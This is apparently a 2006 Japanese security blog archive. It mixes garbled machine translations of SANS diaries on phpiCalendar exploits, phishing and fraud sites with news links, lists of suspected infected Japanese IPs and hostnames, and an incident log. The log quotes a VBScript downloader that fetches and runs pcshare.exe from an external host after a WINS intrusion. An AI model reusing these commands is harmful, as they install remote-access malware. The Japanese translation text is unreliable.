Published: 2006-03-21,
:2006-03 - 21を発表しました、
Last Updated: 2006-03-21 20:20:43 UTC by Pedro Bueno (Version: 1)
最新アップデート:2006-03-21 ペドロ・ブエノによっての20:20:43の UTC (バージョン:1)

---------------------------
---------------------------
Update:
更新してください:
According to the exploit for one of the vulnerabilities, it will only work if phpicalendar_publishing is set to 1 in config.inc.php, so, for now if you have this parameter set to 0, you may be safe.
exploit によれば弱点の1つのために、もし phpicalendar_publishing が config.inc.php で1にセットされるなら、それはただ機能するだけでしょう、それで、しばらくはもしあなたがこのパラメータが0にセットされるようにするなら、あなたは安全であるかもしれません。
echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
「この仕事もし\」 phpicalendar_publishing \「config.inc.php\r\n\r\n で1にセットされる」に共鳴してください;

I didnt verify this yet, so you can expect another update on this...
私はもう didnt にこれを確認します、それであなたはこれの上にもう1つの更新を予想することができます・・・。
---------------------------
---------------------------
Yes, another vulnerability on another php application that can lead to another php worm style...
はい、もう1つのもう1つの php 虫スタイルに導くことができるもう1つの php アプリケーションの上の弱点・・・
This time the affected application is the php icalendar, according to a security advisory at Frsirt , and even worst, there are already two exploits available for it, and, no vendor patch yet...
今回は影響を受けたアプリケーションは、セキュリティー助言によれば Frsirt で、 php icalendar です、そしてもっとも悪くさえ、すでにもう・・・ベンダーのパッチではなく、それのために利用可能な2つの偉業があります。
My personal recommendation, if you use Php icalendar or any other app is to keep it current, and in this particular case, if possible, remove it until a patch/new version is available...
私の個人的な推薦、もしあなたが Php icalendar を使うか、あるいは他のいかなるアプリケーションがそれを最新で、そしてこの特別のケースの保つなら、もし可能であるなら、パッチ / 新しいバージョンが利用可能になるまで、それを削除してください・・・。
(出展:SANS)

----------------------------

■あまてらす

----------------------------

あまてらすです。おはようございます。

昨日は、午後から研究会に参加して、そのまま飲み会へ

結局昨日は、レポートがぜんぜん書けていないので

スターバックスでレポートを書く予定です。

がんばらないと


----------------------------

■セキュリティニュース

----------------------------

脆弱性

『Flash Player』の脆弱性に複数のセキュリティ勧告

MS、Excelの脆弱性にパッチ


Winny
ついに相談室まで~「Winny問題」を受けてIPAが設置

クライアント管理ソフトにWinny対策機能を追加、蒼天

JASDAQのシステム関連資料がWinny流出、市場運営に与える影響はなし

イベント関連の個人情報がWinny上へ流出 - フジテレビ

愛媛県警の捜査資料Winny流出、個人情報4,400人分が含まれることを確認

ローカルドライブごと公開する Winny ウィルス

Winnyを使っていなくても感染する!? 山田オルタナティブって何者?




その他

セキュリティのヒューコムが民事再生申し立て

「情報セキュリティ対策ベンチマークシステム」バージョン2を公開

シマンテック、脅威レポートで「脆弱性情報の売買マーケット」拡大など指摘




----------------------------

■実証コード

----------------------------




----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。



58.1.106.107 ntsitm182107.sitm.nt.ftth.ppp.infoweb.ne.jp
58.98.142.39 z39.58-98-142.ppp.wakwak.ne.jp
60.46.172.190 i60-46-172-190.s05.a010.ap.plala.or.jp
61.45.61.85 z85.61-45-61.ppp.wakwak.ne.jp
61.118.99.6 p1006-dng33tutuji.miyagi.ocn.ne.jp
61.199.1.14 p5014-ipad01akatuka.ibaraki.ocn.ne.jp
61.199.126.58 p3058-ipad01miyazaki.miyazaki.ocn.ne.jp
61.199.140.146 i61-199-140-146.s04.a014.ap.plala.or.jp
61.205.44.160 160.44.205.61.west.flets.alpha-net.ne.jp
61.205.55.103 103.55.205.61.west.flets.alpha-net.ne.jp
61.205.168.53 zaq3dcda835.zaq.ne.jp
61.207.108.74 p3074-ip03sapodoori.hokkaido.ocn.ne.jp
61.207.196.231 p2231-ipad01sizuokaden.shizuoka.ocn.ne.jp
61.208.179.140 adb140.mco.ne.jp
61.209.154.63 SODfa-02p7-63.ppp11.odn.ad.jp
61.209.160.120 OFSfa-02p1-120.ppp11.odn.ad.jp
61.209.178.144 TMNfa-01p2-144.ppp11.odn.ad.jp
61.211.140.11 a140011.usr.starcat.ne.jp
61.213.23.210 3dd517d2.catv296.ne.jp
61.213.26.149 3dd51a95.catv296.ne.jp
61.213.28.251 3dd51cfb.catv296.ne.jp
61.213.36.72 3dd52448.catv296.ne.jp
61.213.38.213 3dd526d5.catv296.ne.jp
61.213.45.28 61-213-45-28.catv296.ne.jp
61.213.68.209 j068209.ppp.asahi-net.or.jp
61.213.71.7 j071007.ppp.asahi-net.or.jp
61.213.117.101 j117101.ppp.asahi-net.or.jp
61.213.129.202 flets-a-west-23-202.dsn.jp
61.213.213.25 ppm125.noc.kanazawa.nsk.ne.jp
220.219.197.250 ntkngw102250.kngw.nt.ftth.ppp.infoweb.ne.jp

----------------------------

■あまてらす

----------------------------

あまてらすです。おはようございます。

本日は、打ち合わせのため午後から外出です。

今、Botネットのレポートを作成しております。

早く終わらせないと次の仕事が・・・・



----------------------------

■セキュリティニュース

----------------------------

インシデェント

JNSAがメールアドレスリストを流出、セキュリティセミナー参加者110件分

アン・ヘギョンのミニホームページ、ハッキングではなく個人情報流出

オルチャン出身の気象キャスター、アン・ヘギョンの ミニ・ホームページ・ハッキング事件



Winny
Winny対策ソリューション、セキュリティ各社から相次ぎ登場

Antinnyに関する声明・対策を各団体・企業が発表

「Winnyを禁止しても,根本的な解決にはならない」---米Symantecのマネージャ

ジャスダック情報流出 取引システム運用手順など「ウィニー」介し

ハードディスク全体を“公開”する「Winnyウイルス」出現

その他

これでいいのか、有名セキュリティ対策ソフト

米政府機関の情報セキュリティ評価は「D+」、国土安全保障省は落第

米Microsoft,ハッカー会議「BlueHat」のブログを開設



----------------------------

■実証コード

----------------------------

Atrium Mercur IMAP 5.0 SP3 Messaging Multiple IMAP Commands Remote Exploit

http://www.milw0rm.com/exploits/1592



----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


61.205.37.155 155.37.205.61.west.flets.alpha-net.ne.jp
61.205.54.2 2.54.205.61.west.flets.alpha-net.ne.jp
61.209.141.196 SAPnni-04S2p196.ppp12.odn.ad.jp
58.0.61.159 nttkyo295159.tkyo.nt.ftth.ppp.infoweb.ne.jp
60.46.175.184 i60-46-175-184.s05.a010.ap.plala.or.jp
61.12.208.252 252.208.12.61.ap.zero-isp.NET
61.114.12.105 k105.kcnet.ne.jp
61.114.206.171 h206171.ppp.asahi-net.or.jp
61.116.73.174 SSJfa-03p4-174.ppp11.odn.ad.jp
61.116.130.49 HDOfa-01p1-49.ppp11.odn.ad.jp
61.116.131.245 HDOfa-01p2-245.ppp11.odn.ad.jp
61.117.17.120 M017120.ppp.dion.ne.jp
61.118.157.210 p3210-ip02souka.saitama.ocn.ne.jp
61.118.193.87 p1087-dnj64chibmi.chiba.ovcs.ocn.ne.jp
61.120.163.91 p78a35b.kngwnt01.ap.so-net.ne.jp
61.121.6.233 nttkyo022233.tkyo.nt.isdn.ppp.infoweb.ne.jp
61.123.53.4 YKMfb-03p1-4.ppp11.odn.ad.jp
61.123.53.126 YKMfb-03p1-126.ppp11.odn.ad.jp
61.123.102.195 OBYfa-01p1-195.ppp11.odn.ad.jp
61.123.102.210 OBYfa-01p1-210.ppp11.odn.ad.jp
61.123.223.73 client.mcbnet.ne.jp
61.124.17.13 ntkgwa033013.kgwa.nt.ftth.ppp.infoweb.ne.jp
61.124.66.25 ntsitm162025.sitm.nt.ftth.ppp.infoweb.ne.jp
61.124.71.166 nttkyo283166.tkyo.nt.ftth.ppp.infoweb.ne.jp
61.124.165.176 nthrsm038176.hrsm.nt.ftth.ppp.infoweb.ne.jp
61.124.190.60 ntchba011060.chba.nt.adsl.ppp.infoweb.ne.jp
61.125.57.157 usr025.bb007-01.uda.im.wakwak.ne.jp
61.125.57.174 usr042.bb007-01.uda.im.wakwak.ne.jp
61.125.63.39 usr037.pial045-01.wpc.im.wakwak.ne.jp
61.125.152.248 pc4b248.ztv.ne.jp
61.125.153.52 pc4c052.ztv.ne.jp
61.209.170.16 OFSfa-01p7-16.ppp11.odn.ad.jp
61.210.76.81 ntchba019081.chba.nt.adsl.ppp.infoweb.ne.jp
61.211.140.11 a140011.usr.starcat.ne.jp
61.213.22.234 3dd516ea.catv296.ne.jp
61.213.26.149 3dd51a95.catv296.ne.jp
61.213.38.213 3dd526d5.catv296.ne.jp
61.213.70.16 j070016.ppp.asahi-net.or.jp
61.213.92.74 j092074.ppp.asahi-net.or.jp
61.213.99.123 j099123.ppp.asahi-net.or.jp
61.213.116.167 j116167.ppp.asahi-net.or.jp
61.213.118.3 j118003.ppp.asahi-net.or.jp
61.213.119.65 j119065.ppp.asahi-net.or.jp
61.213.212.46 b-fa3-5046.noc.ntt-west.nsk.ne.jp
61.214.46.59 p4059-ipad01niigatani.niigata.ocn.ne.jp
61.214.51.31 p1031-ipad03kyoto.kyoto.ocn.ne.jp
210.165.74.60 pl1212.nas921.sendai.nttpc.ne.jp
211.121.81.249 OBYfa-01p2-249.ppp11.odn.ad.jp
219.103.241.61 z61.219-103-241.ppp.wakwak.ne.jp
220.219.110.220 ntkngw112220.kngw.nt.ftth.ppp.infoweb.ne.jp
220.247.13.185 d185.GosakaFL5.vectant.ne.jp
221.113.23.24 p023024.ppp.asahi-net.or.jp
221.113.38.81 p038081.ppp.asahi-net.or.jp
221.113.39.25 p039025.ppp.asahi-net.or.jp
221.113.51.142 p051142.ppp.asahi-net.or.jp
221.113.95.63 63.95.113.221.ap.yournet.ne.jp
221.113.102.6 6.102.113.221.ap.yournet.ne.jp
221.113.155.75 p18075-adsao02sappo2-acca.hokkaido.ocn.ne.jp
221.113.211.64 p8064-air01hon128k.tokyo.ocn.ne.jp
221.113.229.20 p1020-ipad12gifu.gifu.ocn.ne.jp
221.113.234.164 p5164-ipad13gifu.gifu.ocn.ne.jp

Published: 2006-03-19,
:2006-03 - 19を発表しました、
Last Updated: 2006-03-19 18:01:14 UTC by Marcus Sachs (Version: 1)
最新アップデート:2006-03-19 マーカス・ザックスによっての18:01:14の UTC (バージョン:1)

Two readers (thanks, Ricardo and Ken) pointed us to a story on digg that appeared this morning. The story links to a posting on a German board about a potential phpBB hack attack coming in the next few weeks:
2人の読者(感謝、リカルドとケン)が今朝出現した digg に関する物語に我々を向けました。 可能性がある phpBB ハックについてのドイツのボードの上のポストへの物語リンクは次の数週で来て攻撃します:

http://www.issociate.de/board/post/312809/phpBB_mass-hack_being_prepared_
http://www.issociate.de/board/post/312809/phpBB_mass-hack_being_prepared_

"During the last few days a bot using a name FuntKlakow, has been registering to maybe thousands of phpBB forums. Some speculate that the bot's owners are preparing to exploit an unreported vulnerability."
「これまでの数日の間にロボットが FuntKlakow 名前という人を使って、多分何千という phpBB フォーラムに登録していました。 若干名がロボットの所有者が報告されていない弱点を利用する準備をしていると推測します。」

We might be chasing a ghost here but it's always good to be on the lookout for something like this.
我々はここで幽霊を追っているかもしれません、しかしこのような何かのために見張り場所の上にいることは常に良いです。
Published: 2006-03-18,
:2006-03 - 18を発表しました、
Last Updated: 2006-03-18 20:17:22 UTC by Koon Tan (Version: 1)
最新アップデート:2006-03-18 クーン日焼け(バージョン:1)によっての20:17:22の UTC

A reader submitted to us his research on a spam email which contains a company called Bellford Trade & Investment (BTI) and its website (bellfordtrade.com). After some careful research, he concluded the company and website is fraudulent. Below is his findings that you may find it interesting and useful.
読者が我々に Bellford 貿易&投資と呼ばれる会社(BTI)とそのウェブサイト(bellfordtrade.com)を含むスパム電子メールの彼の研究を提出しました。 若干の注意深い研究の後に、彼は会社とウェブサイトが詐欺であると結論しました。 下はあなたがそれが面白くて、そして有用であることを見いだすかもしれないという彼の発見です。

**********************
**********************
Below is the evidence that I use to support this:
下はこれをサポートする私が使う証拠です:

1. The domain (bellfordtrade.com) was registered very recently, and was only registered for 1 year:
1. ドメイン(bellfordtrade.com)は非常に最近登録されて、そして1年間ただ登録されただけでした:

Creation Date........ 2006-02-03
作成日付・・・ 2006-02-03
Registration Date.... 2006-02-03
登録日付・・・ 2006-02-03
Expiry Date.......... 2007-02-03
有効期限・・・ 2007-02-03

This is common for sites that are used for fraudulent purposes. Register the site, get the fraud up and running, and it will probably be shutdown soon thereafter. So, why pay for more than 1 year of registration? It's a throwaway domain.
これは詐欺の目的のために使われるサイトのために普通です。 サイトを登録して、詐欺を動かせてください、そうすればそれはまもなくその後おそらくシャットダウンでしょう。 それで、なぜ1年以上の登録に対して支払いますか? それは使い捨てのドメインです。

2. The contact information for the domain is hidden behind "myprivateregistration.com", which is a service of Melbourne IT in Australia, dba Internet Names Worldwide. Although this can be used by legitimate websites, it is fraught with fraud.
2. ドメインのための連絡インフォメーションはオーストラリア、世界中の dba インターネット名でメルボルン IT のサービスである「myprivateregistration.com」の後ろに隠されます。 これが合法的なウェブサイトによって使われることができるけれども、それは詐欺に満ちています。

Admin Name........... PrivateRegContact Admin
アドミニストレーター名・・・。 PrivateRegContact アドミニストレーター
Admin Address........ P O Box 99800
アドミニストレーターアドレス・・・。 POボックス99800
Admin Address........
アドミニストレーターアドレス・・・。
Admin Address........ EmeryVille
アドミニストレーターアドレス・・・。 EmeryVille
Admin Address........ 94662
アドミニストレーターアドレス・・・。 94662
Admin Address........ CA
アドミニストレーターアドレス・・・。 Ca
Admin Address........ US
アドミニストレーターアドレス・・・。 合衆国
Admin Email.......... contact@myprivateregistration.com
アドミニストレーター電子メール... contact@myprivateregistration.com
Admin Phone.......... +1.5105952002
アドミニストレーター電話・・・。 + 1.5105952002

This PO box apparently belongs to a US office of Melbourne IT. This PO box and the whole My Private Registration service seems to be used by lots of fraudulent websites (spammers, phishers, etc.), although it is probably used by legitimate sites as well. Just doing some Google searches on this information pulls up all sorts of shady things.
この PO Box は見たところではメルボルン IT の合衆国オフィスに属します。 この PO Box と私の私的な登録サービスが同様に、それがおそらく合法的なサイトによって使われるけれども、たくさんの詐欺のウェブサイト(スパマー、 phishers など)によって使われるために思われる全体。 このインフォメーションでただ若干の Google 検索をすることはあらゆる種類のいかがわしいことを呼び出します。

3. A google search of "Bellford Trade & Investment" hits on a craiglist ad (an unusual place for a legitimate trading company to advertise) and a Yahoo Local business listing in New York City. The phone number on this listing is no good. This listing claims "Member SIPC (1205-9847)". I checked the SIPC website, and they don't list BTI as a member. This listing also points to the bellfordtrade.com website (the same one that was in the Spam). The Spam also said that they are an SIPC member, which they aren't.
3. A craiglist 広告(合法的な商事会社が宣伝する異常な場所)とニューヨーク市で傾いている Yahoo 支部ビジネスで「Bellford トレード&投資」ヒットの検索を Google で検索してください。 このリストに関する電話番号は何の役にも立ちません。 このリストは「メンバー SIPC (1205-9847)」と主張します。 私は SIPC ウェブサイトをチェックしました、そして(彼・それ)らは BTI にメンバーと記録しません。 このリストは同じく bellfordtrade.com ウェブサイト(スパムにあった同じ(の・もの・人))を指し示します。 スパムは同じく(彼・それ)らが SIPC メンバーであると言いました、そして(彼・それ)らはそうではありません。

4. The bellfordtrade.com website itself is suspicious (WARNING: I wouldn't visit this website with a PC you care about, since it might also be distributing malware/spyware/whatever -- I don't know if it is or not, but I'm paranoid about such things, so I used a throwaway VMWare session to view it.) First of all, the "Contact Us" page doesn't work, and I can't find any other contact information for BTI on their website (besides their e-mail address). Not good.
4. bellfordtrade.com ウェブサイト自身は疑い深いです(警告:、それが同じく悪性ソフト / スパイウェア / 一体何を配布しているかもしれませんから、私はあなたが気にかけるPCでこのウェブサイトを訪問しないでしょう - 私はそれがそうであるかどうか知りません、しかし私はこのようなことについてパラノイドです、それで私はそれを視るために使い捨て VMWare セッションを使いました。) まず第一に、「我々と連絡を取ってください」ページは機能しません、そして私は(彼・それ)らのウェブサイトについての他のいかなるも BTI のための連絡インフォメーション(そのうえ(彼・それ)らの電子メールアドレス)を見いだすことができません。 良くありません。

5. On the "join" page on the website, which is where one would sign up for their service, they have an unsecured web form (it's not using SSL).
5. 人が(彼・それ)らのサービスに登録するであろうところであるウェブサイトで「結合」ページで、(彼・それ)らは無担保の Web フォーム(それは SSL を使っていません)を受けます。

6. On the "join" page, they have the "BBB Online Reliability" program seal. However, the seal doesn't have the required link to their membership entry on the BBB Online site. Also, a search of the BBB Online website shows that BTI is not a member. So this is a fraudulent claim.
6. 「結合」ページで、(彼・それ)らは「BBB Online 信頼性」プログラムシールを持っています。 しかしながら、シールはBBBのオンラインのサイトで(彼・それ)らのメンバーシップ項目への必要とされる関連を持っていません。 同じく、BBBのオンラインのウェブサイトの検索が BTI がメンバーではないことを示します。 それでこれは詐欺のクレームです。

7. On the "join" page, they have the "Protected by Thawte" logo. However, the logo doesn't have the required link back to Thawte, and the form isn't even SSL protected (Thawte issues SSL certificates). So this is also a fraudulent claim.
7. 「結合」ページで、(彼・それ)らは「Thawte によって守られる」のロゴを持っています。 しかしながら、ロゴは Thawte に戻って必要とされる関連を持っていません、そしてフォームは守られた SSL (Thawte が SSL 証明書を発行します)でさえありません。 それでこれは同じく詐欺のクレームです。

8. The whole website feels "icky" to me. It's using lots of Flash, the content seems questionable, and it just seems like a bunch of lies.
8. 全部のウェブサイトは私に「ねばねばしているように」感じます。 それはたくさんのフラッシュを使っています、内容は疑わしく思われます、そしてそれはただ1群の嘘のように思われます。

9. BTI is not listed in Dunn and Bradstreet's business directory. Not all businesses are listed here, certainly, but I'd expect a legitimate financial trading company to be listed here.
9. BTI はダンとブラッドストリートのビジネスディレクトリで上場されていません。 すべてのビジネスが、確かに、ここで上場されるわけではありません、しかし私は合法的な財界の商事会社がここで上場されることを期待するでしょう。

10. BTI sent Spam, and claimed an affiliation with XXXXX. These are both shady practices, and it's unlikely that a legitimate financial company would do this.
10. BTI は Spam を送って、そして XXXXX との提携を要求しました。 これらは両方の日陰の業務です、そして合法的な財界の会社がこれをするであろうことはありそうもありません。

11. The Spam claimed that they were an NASD member. I can't find them listed in the NASD directory, so this is also a fraudulent claim.
11. スパムは(彼・それ)らがNASDメンバーであったことをはっきり示しました。 私は(彼・それ)らがNASDディレクトリでリストされているのを見いだすことができません、それでこれは同じく詐欺のクレームです。

12. The toll-free numbers listed in the Spam are no good.
12. スパムで表にされたフリーダイヤルは何の役にも立ちません。

**********************
**********************

----------------------------

■あまてらす

----------------------------

あまてらすです。おはようございます。

Winny根絶に向けて官民一体となって対応が始まりましたね。

ISPの通信で8割がP2P系が占めています。

この対応を早期に行い、世界一安価な回線使用料を維持しないと。


----------------------------

■セキュリティニュース

----------------------------

インシデェント

中国国営銀行のWebサーバにフィッシング・サイト──内部犯行の可能性も

RFIDタグを媒介して感染する世界初のウイルスが登場

「サイバー犯罪は従来の犯罪よりダメージ大」、米企業の6割

Winny

ぷらら,「Winny」による通信を遮断へ

Winny対策ソリューション、セキュリティ各社から相次ぎ登場

クオリティ、パソコン内のWinny探査プログラムを地方自治体/警察/中央省庁などに無償で提供

情報漏えい急増、企業を脅かすWinnyウイルスの破壊力(下)

「脅威に対する理解を」、JPCERT/CCがP2Pファイル共有ソフトに関する技術メモ公開

Winnyの起動を阻止するツールが登場、アップデートテクノロジーが無償配布


その他

企業のプライバシー保護対策を担う「CPO」の実像 新たなリーダーはCIOの“右腕”か、それとも“ライバル”か
組み込みシステムのセキュリティ~攻撃の脅威と防衛策~(3)

米国下院議会、連邦政府機関のセキュリティ対策に再び厳しい評価

----------------------------

■実証コード

----------------------------




----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


61.116.123.191 SSJfa-01p1-191.ppp11.odn.ad.jp
61.117.65.103 M065103.ppp.dion.ne.jp
61.120.179.37 p78b325.gifunt01.ap.so-net.ne.jp
61.124.247.59 ntchba066059.chba.nt.adsl.ppp.infoweb.ne.jp
61.125.34.132 z132.61-125-34.ppp.wakwak.ne.jp
61.125.56.202 usr072.bb241-01.udn.im.wakwak.ne.jp
61.125.69.92 zaq3d7d455c.zaq.ne.jp
61.125.69.212 zaq3d7d45d4.zaq.ne.jp
61.125.73.21 zaq3d7d4915.zaq.ne.jp
61.125.75.31 zaq3d7d4b1f.zaq.ne.jp
61.125.75.145 zaq3d7d4b91.zaq.ne.jp
61.125.78.193 zaq3d7d4ec1.zaq.ne.jp
61.125.82.36 zaq3d7d5224.zaq.ne.jp
61.125.84.190 zaq3d7d54be.zaq.ne.jp
61.125.87.60 zaq3d7d573c.zaq.ne.jp
61.125.87.130 zaq3d7d5782.zaq.ne.jp
61.125.92.246 zaq3d7d5cf6.zaq.ne.jp
61.125.93.16 zaq3d7d5d10.zaq.ne.jp
61.125.93.112 zaq3d7d5d70.zaq.ne.jp
61.125.94.69 zaq3d7d5e45.zaq.ne.jp
61.125.95.230 zaq3d7d5fe6.zaq.ne.jp
61.125.98.85 zaq3d7d6255.zaq.ne.jp
61.125.100.79 zaq3d7d644f.zaq.ne.jp
61.125.100.116 zaq3d7d6474.zaq.ne.jp
61.125.101.201 zaq3d7d65c9.zaq.ne.jp
61.125.102.79 zaq3d7d664f.zaq.ne.jp
61.125.102.122 zaq3d7d667a.zaq.ne.jp
61.125.107.126 zaq3d7d6b7e.zaq.ne.jp
61.125.107.224 zaq3d7d6be0.zaq.ne.jp
61.125.108.18 zaq3d7d6c12.zaq.ne.jp
61.125.109.126 zaq3d7d6d7e.zaq.ne.jp
61.125.111.26 zaq3d7d6f1a.zaq.ne.jp
61.125.112.118 zaq3d7d7076.zaq.ne.jp
61.125.112.121 zaq3d7d7079.zaq.ne.jp
61.125.120.13 zaq3d7d780d.zaq.ne.jp
61.125.122.76 zaq3d7d7a4c.zaq.ne.jp
61.125.125.67 zaq3d7d7d43.zaq.ne.jp
61.125.125.97 zaq3d7d7d61.zaq.ne.jp
61.125.126.230 zaq3d7d7ee6.zaq.ne.jp
61.125.127.104 zaq3d7d7f68.zaq.ne.jp
61.125.127.223 zaq3d7d7fdf.zaq.ne.jp
61.125.231.86 i231086.ppp.asahi-net.or.jp

Published: 2006-03-16,
:2006-03 - 16を発表しました、
Last Updated: 2006-03-16 17:45:43 UTC by Lenny Zeltser (Version: 1)
最新アップデート:2006-03-16 レニー・ゼルツァーによっての17:45:43の UTC (バージョン:1)

Phishing messages are becoming increasingly personalized in attempts to convince the recipients to trust originators of the messages. A phishing email recently submitted to us illustrates this trend. In this case, the message that arrived in the victim's inbox included the person's full name and postal address:
フィッシングメッセージが受取人にメッセージの創作者を信頼するよう説得しようとする試みでますます個人化されたようになっています。 最近我々に提出されたフィッシング電子メールがこの傾向を例証します。 この場合、犠牲者のインボックスで到着したメッセージはその人のフルネームと住所を含みました:



The message masqueraded as a CitiBusiness alert. The "click here" link led to a fraudulent website hosted at citibusinessonline.da.us.citibank.com.citionline.ru. The whois record for citionline.ru indicated that the Russian domain was registered a few days prior to the attack.
メッセージは CitiBusiness の警告としてふりをしました。 「ここをクリックしてください」リンクは citibusinessonline.da.us.citibank.com.citionline.ru でホストされた詐欺のウェブサイトに導きました。 citionline.ru の whois 記録はロシアのドメインが攻撃の数日前に登録されたことを示しました。

Where does the personal data come from? In this incident, this victim rarely used his/her full name online, and the name was not included in phone directories. It is possible that the scammer obtained the data from diverse sources and was able to link the fields (name, email address, and postal address) together. More likely, the data originated from a website that stored billing details or from a compromised credit card processor. Yet another possibility is that the scammer purchased the data from legitimate consumer data providers. Even if the scammer was not certain that the victim's records were correct, even a small number of matches would increase the number of fooled victims.
パーソナルなデータはどこから来ますか? この事件で、この犠牲者はオンラインでめったに彼 / 彼女のフルネームを使いませんでした、そして名前は電話帳に含められませんでした。 scammer が多様なソースからのデータを得て、そして一緒にフィールド(名前、電子メールアドレスと住所)をつなぐことが可能であったことは可能です。 より見込みが高く、データは請求処理の詳細をストアしたウェブサイトあるいは危うくされたクレジットカードプロセッサに起源しました。 さらにもう1つの可能性が scammer が合法的な消費者データプロバイダからのデータを購入したということです。 たとえ scammer が犠牲者のレコードが正しかったことが確かではなかったとしても、少数のマッチさえだまされた犠牲者の数を増やすでしょう。

If you were wondering what awaited the victim at the website set up for the phishing attack, wonder no more:
もしあなたが何がフィッシング攻撃に備えさせられたウェブサイトにおいて犠牲者を待ち受けたかと思っていたなら、もう不思議に思わないでください:



Mimicking the real CitiBusiness Online website, the phishing site allowed the victim to enter his/her Business Code by typing on the keyboard or clicking on images in the form. The URL that brought the person to the fraudulent site included a unique identifier that allowed the site to track email recipients. It is possible that the identifier was used to pull up the victim's records from the fraudulent site's database; another possibility is that the victim's name and address were actually encoded in the URL string. As a result, two screens later, the victim was presented with his/her postal address and full name without having to supply them to the site:
本当の CitiBusiness オンラインのウェブサイトをまねて、フィッシングサイトは犠牲者に、キーボードの上にタイプするか、あるいはフォームにおけるイメージをクリックすることによって、彼 / 彼女のビジネスコードを入力することを許しました。 その人を詐欺のサイトに導いた URL はサイトに電子メール受取人を追跡することを許したユニークな認証者を含みました。 認証者が詐欺のサイトのデータベースから犠牲者のレコードを呼び出すために使われたことは可能です;もう1つの可能性が犠牲者の名前と住所が URL ストリングで実際にコード化されたということです。 結果として、2つのスクリーン後に、犠牲者はサイトに(彼・それ)らを供給することを必要としないで彼 / 彼女の住所とフルネームを与えられました:



After allowing the victim to correct the address, the site prompted the person for additional sensitive information, such as date of birth, social security number, and mother's maiden name:
犠牲者にアドレスを修正することを許した後で、サイトは出生の日付、社会保障番号と母親の旧姓のように、追加の機密性が高いインフォメーションの入力をその人に促しました:



We reported this phishing attempt to Anti-Phishing Working Group and Citibank. If you have witnessed highly-personalized phishing scams of this nature as well, please send us the details.
我々はこのフィッシングの試みを反フィッシングの作業部会とシティバンクに報告しました。 もしあなたが同様にこの自然の大いに個人化されたフィッシング詐欺を目撃したなら、どうか我々に細部を送ってください。

This note incorporates comments from several ISC handlers. I am very grateful for their contributions.
このノートは数人の ISC 調教師からのコメントを含みます。 私は(彼・それ)らの貢献に非常に感謝しています。

Lenny Zeltser
レニー・ゼルツァー
ISC Handler
ISC 調教師
www.zeltser.com
www.zeltser.com
(出展:SANS)

We've been developing a Bluetooth honeypot. An early prototype was given a test run at the CeBIT trade fair during the week. The embedded device announces itself as a Bluetooth phone in discoverable mode. It detects Bluetooth devices within a one hundred meter range and creates a list of the device names found. It also accepts all file transfers and scans them for known mobile viruses.
我々は(今まで)ブルートゥース honeypot を開発していました。 初期のプロトタイプが週の間に CeBIT 見本市において試運転を与えられました。 埋め込みの装置は discoverable モードでそれ自身がブルートゥース電話であると発表します。 それは百メートルの距離以内にブルートゥース装置を発見して、そして見いだされた装置名のリストを作成します。 それは同じくすべてのファイル転送を受け入れて、そして周知のモバイルウイルスのために(彼・それ)らを走査します。

We were scanning from our Hall 7 booth for a week. At any given time we would see more than 100 Bluetooth devices wandering within our range. Grand total: 12500 unique devices that a) had Bluetooth, b) had it enabled, c) had it visible. Unbelievable.
我々は1週間我々のホールから7つのブースをさっと見渡していました。 随時我々は100以上のブルートゥース装置が我々の限界以内にあてもなくさまよっているのを見るでしょう。 総計:12500のユニークな装置それ a) ブルートゥースを持ちました、 b) それを使用可能であるようにしました、 c) それを目に見えるようにしました. 信じ難いほどです。

Bluetooth_Honeypot_Crop

We imagine this honeypot can be used for various purposes when it's finalized, including being used by companies at security checkpoints so virus infected devices don't cross the threshold.
我々は、それが装置が閾値と交差しないほどウイルスに感染したセキュリティー検問所で、会社によって使われることを含んで、完成させられるとき、この honeypot が種々の目的のために使われることができると想像します。

While discussing CeBIT: here's a nice 3D rendered video showing how F-Secure Blacklight scans music CDs for possible rootkits. Funnily enough, the video's virtual Blacklight also removes the rootkit from the CD itself. It unfortunately can't do that in real life, we can only remove rootkits from the PC. CDs are of course read only...
CeBIT を論じている間に:ここにF - 安全なブラックライトがどのように可能な rootkits のために音楽CDを走査するか示しているすてきな3Dによって提出されたビデオがあります。 奇妙にも、ビデオのバーチャルブラックライトは同じく rootkit をCD自身から取り除きます。 それは不幸にも現実ではそれをすることができません、我々はただ rootkits をPCから取り除くことができるだけです。 CDはもちろんリードオンリーです・・・。
(Click the image for the video.)
(ビデオのためにイメージをクリックしてください。)

RootkitVid


(出展:SANS)

■攻撃

攻撃はWinsの脆弱性を利用され侵入された。

その後、内部から外部サーバのPort1988へリバースコネクションが張られ、コマンドが実行された。

Severity Time Tag Name Source IP Source Port Target IP Object Name
High 2006-03-16 10:21:29 JST WINS_PointerHijack ***.217.193.170 1209 192.168.37.180 42
Low 2006-03-16 10:21:29 JST TCP_Probe_Other 192.168.37.180 2842 ***.217.193.170 1988

■リバースコネクション

コネクションを接続する事により、以下のコマンドが実行された。

echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>dl.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe
cscript dl.vbe http://***22.10.60/kuo/web/news/new_data/pcshare.exe pcshare.exe
pcshare.exe
pcshare.exe
pcshare.exe
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
